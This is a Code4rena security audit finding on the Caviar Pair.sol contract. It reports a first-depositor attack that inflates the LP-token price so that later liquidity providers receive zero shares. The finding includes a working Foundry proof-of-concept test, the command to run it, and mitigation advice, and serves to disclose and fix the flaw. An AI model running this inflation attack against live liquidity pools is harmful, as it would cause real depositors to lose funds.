A malicious early actor can cause a Partial DoS for adding liquidity by enforcing a minimum deposit amount

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L63-L99
https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L77
https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L421

Vulnerability details

Impact

A first depositer can deposit minimum amount of baseToken and fractionalToken then manipulate the baseToken reserves by sending a big amount directly to the Pair contract. Thus, inflating LPToken price. Any further deposits with smaller (but reasonable) amount will result in zero share of LPToken.
This occurs due to the the lp token shares calculation that use baseToken reserves as a denominator.

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L77

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L421

Proof of Concept

1. Please create a file named AddVul.t.sol under test/Pair/unit directory and add the following code.:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "../../shared/Fixture.t.sol";
import "../../../src/Caviar.sol";
import "../../../script/CreatePair.s.sol";

contract AddTest is Fixture {
    event Add(uint256 baseTokenAmount, uint256 fractionalTokenAmount, uint256 lpTokenAmount);


    function setUp() public {
        deal(address(usd), address(this), 1000000*1e18, true);
        deal(address(p), address(this), 1000000*1e18, true);

        usd.approve(address(p), type(uint256).max);    
        }

   function testinfaltingLpTokenPrice() public {
        // arrange
        uint256 _initBaseTokenAmount = 1;
        uint256 _initFractionalTokenAmount = 1;
        uint256 initMinLpTokenAmount = Math.sqrt(_initBaseTokenAmount * _initFractionalTokenAmount);
        uint256 lpTokenAmount = p.add(_initBaseTokenAmount, _initFractionalTokenAmount, initMinLpTokenAmount); // initial add
        console.log('lpTokenAmount of first depositer: %d',lpTokenAmount);
        // first depositer gets one lpToken
        assertEq(lpTokenAmount,1);

        // first depositer transfers big amount of baseToken to inflate the lpToken price
        console.log('baseTokenReserves before: %d',p.baseTokenReserves());
        usd.transfer(address(p),100000*1e18);
        console.log('baseTokenReserves after: %d',p.baseTokenReserves());

        // user babe would like to add 1000*1e18 
        vm.startPrank(babe);
        deal(address(usd), babe, 1000*1e18, true);
        deal(address(p), babe, 1000*1e18, true);
        usd.approve(address(p), type(uint256).max);
        uint256 lpTokenAmount2 = p.add(1000*1e18, 1000*1e18, 0);
        console.log('lpTokenAmount of user babe: %d',lpTokenAmount2);
        // second depositer gets zero lpToken
        assertEq(lpTokenAmount2,0);
        vm.stopPrank();

    }

  

}

2. Then run the forge test command as follows:

forge test --match-path test/Pair/unit/AddVul.t.sol -vv

Tools Used

Manual analysis

Recommended Mitigation Steps

• The issue can be mitigated similiary to how Uniswap does, by permanently locking the first MINIMUM_LIQUIDITY tokens (which is 10**3)
  Please check:

  • Page 8 in the whitepaper (3.4 Initialization of liquidity token supply):
    https://uniswap.org/whitepaper.pdf

  • Uniswap source code:
    https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L121

• Additionally, make sure the minLpTokenAmount passed is not zero. as you can see in the PoC above. it is allowed to pass zero as a value which shouldn't be a desired result by the user.

[c4-judge]

berndartmueller marked the issue as duplicate of #442

[c4-judge]

berndartmueller marked the issue as satisfactory